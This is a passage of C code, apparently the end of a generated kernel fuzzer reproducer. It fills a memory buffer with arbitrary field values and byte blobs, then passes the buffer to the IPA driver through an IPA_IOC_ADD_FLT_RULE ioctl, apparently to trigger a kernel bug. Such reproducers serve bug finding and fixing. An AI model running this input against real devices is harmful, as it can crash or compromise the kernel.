| *(uint32_t *)0x20002f08 = (uint32_t)0x1; |
| *(uint32_t *)0x20002f0c = (uint32_t)0xe4d1; |
| *(uint32_t *)0x20002f10 = (uint32_t)0x4; |
| *(uint32_t *)0x20002f14 = (uint32_t)0x3; |
| *(uint32_t *)0x20002f18 = (uint32_t)0x87; |
| *(uint32_t *)0x20002f1c = (uint32_t)0x8000; |
| *(uint32_t *)0x20002f20 = (uint32_t)0x7; |
| *(uint32_t *)0x20002f24 = (uint32_t)0x10001; |
| *(uint32_t *)0x20002f28 = (uint32_t)0x932d; |
| *(uint32_t *)0x20002f2c = (uint32_t)0x3; |
| *(uint32_t *)0x20002f30 = (uint32_t)0xffff; |
| *(uint16_t *)0x20002f34 = (uint16_t)0x3ff; |
| *(uint8_t *)0x20002f36 = (uint8_t)0x400; |
| *(uint8_t *)0x20002f37 = (uint8_t)0x6; |
| *(uint8_t *)0x20002f38 = (uint8_t)0x2; |
| *(uint8_t *)0x20002f39 = (uint8_t)0x1; |
| *(uint8_t *)0x20002f3a = (uint8_t)0x3; |
| *(uint8_t *)0x20002f3c = (uint8_t)0xffffffffffffff75; |
| *(uint16_t *)0x20002f3e = (uint16_t)0x20; |
| *(uint16_t *)0x20002f40 = (uint16_t)0x4; |
| *(uint8_t *)0x20002f42 = (uint8_t)0x2; |
| *(uint16_t *)0x20002f44 = (uint16_t)0x10001; |
| *(uint16_t *)0x20002f46 = (uint16_t)0x3; |
| *(uint8_t *)0x20002f48 = (uint8_t)0xb004; |
| *(uint8_t *)0x20002f4c = (uint8_t)0x5; |
| *(uint32_t *)0x20002f50 = (uint32_t)0x3f; |
| *(uint32_t *)0x20002f54 = (uint32_t)0x6; |
| *(uint8_t *)0x20002f58 = (uint8_t)0x7f; |
| *(uint32_t *)0x20002f5c = (uint32_t)0x5; |
| *(uint32_t *)0x20002f60 = (uint32_t)0x4; |
| *(uint8_t *)0x20002f64 = (uint8_t)0x5; |
| *(uint8_t *)0x20002f65 = (uint8_t)0x0; |
| *(uint8_t *)0x20002f66 = (uint8_t)0x2; |
| *(uint32_t *)0x20002f68 = (uint32_t)0x7; |
| *(uint8_t *)0x20002f6c = (uint8_t)0x80; |
| *(uint8_t *)0x20002f6e = (uint8_t)0x80; |
| *(uint16_t *)0x20002f70 = (uint16_t)0x1; |
| *(uint8_t *)0x20002f72 = (uint8_t)0xffffffff; |
| *(uint8_t *)0x20002f74 = (uint8_t)0x3259; |
| *(uint32_t *)0x20002f78 = (uint32_t)0x0; |
| *(uint8_t *)0x20002f7c = (uint8_t)0x5; |
| *(uint8_t *)0x20002f80 = (uint8_t)0x10001; |
| *(uint32_t *)0x20002f84 = (uint32_t)0x0; |
| *(uint32_t *)0x20002f88 = (uint32_t)0x10000; |
| *(uint8_t *)0x20002f8c = (uint8_t)0xffff; |
| *(uint32_t *)0x20002f90 = (uint32_t)0xffff; |
| *(uint32_t *)0x20002f94 = (uint32_t)0x7; |
| *(uint8_t *)0x20002f98 = (uint8_t)0x3; |
| *(uint8_t *)0x20002f99 = (uint8_t)0x7ff; |
| memcpy((void *)0x20002f9a, |
| "\x28\x3b\x48\x4b\x92\xd4\xf6\xbf\x35\x1b\x31\x99\x3a\xa1\x6c\xa2", |
| 16); |
| memcpy((void *)0x20002faa, |
| "\x7e\xeb\x6e\x3e\x8f\x30\x07\x0b\xe9\xfc\x36\xe6\x56\x8f\xd7\x0f", |
| 16); |
| *(uint8_t *)0x20002fba = (uint8_t)0xfffffffffffffbff; |
| memcpy((void *)0x20002fbb, |
| "\x30\x75\xd6\x40\x91\xbf\xe5\xe5\x8c\xd1\x46\x0e\x9d\x44\xc2\xa1", |
| 16); |
| memcpy((void *)0x20002fcb, |
| "\x78\xf4\x00\xa7\xbe\x73\xdf\x2e\xb7\x4d\x97\x77\x77\xdd\xb4\x2e", |
| 16); |
| *(uint8_t *)0x20002fdb = (uint8_t)0x6; |
| *(uint8_t *)0x20002fdc = (uint8_t)0x101; |
| *(uint32_t *)0x20002fe0 = (uint32_t)0xffff; |
| *(uint32_t *)0x20002fe4 = (uint32_t)0xfffffffffffffffe; |
| *(uint8_t *)0x20002fe8 = (uint8_t)0x9; |
| *(uint32_t *)0x20002fec = (uint32_t)0x3; |
| *(uint8_t *)0x20002ff0 = (uint8_t)0x7f; |
| *(uint8_t *)0x20002ff4 = (uint8_t)0x4; |
| *(uint32_t *)0x20002ff8 = (uint32_t)0x0; |
| *(uint32_t *)0x20002ffc = (uint32_t)0x0; |
| |
| ioctl(fd, IPA_IOC_ADD_FLT_RULE, 0x20002924ul); |
| |
| return 0; |
| } |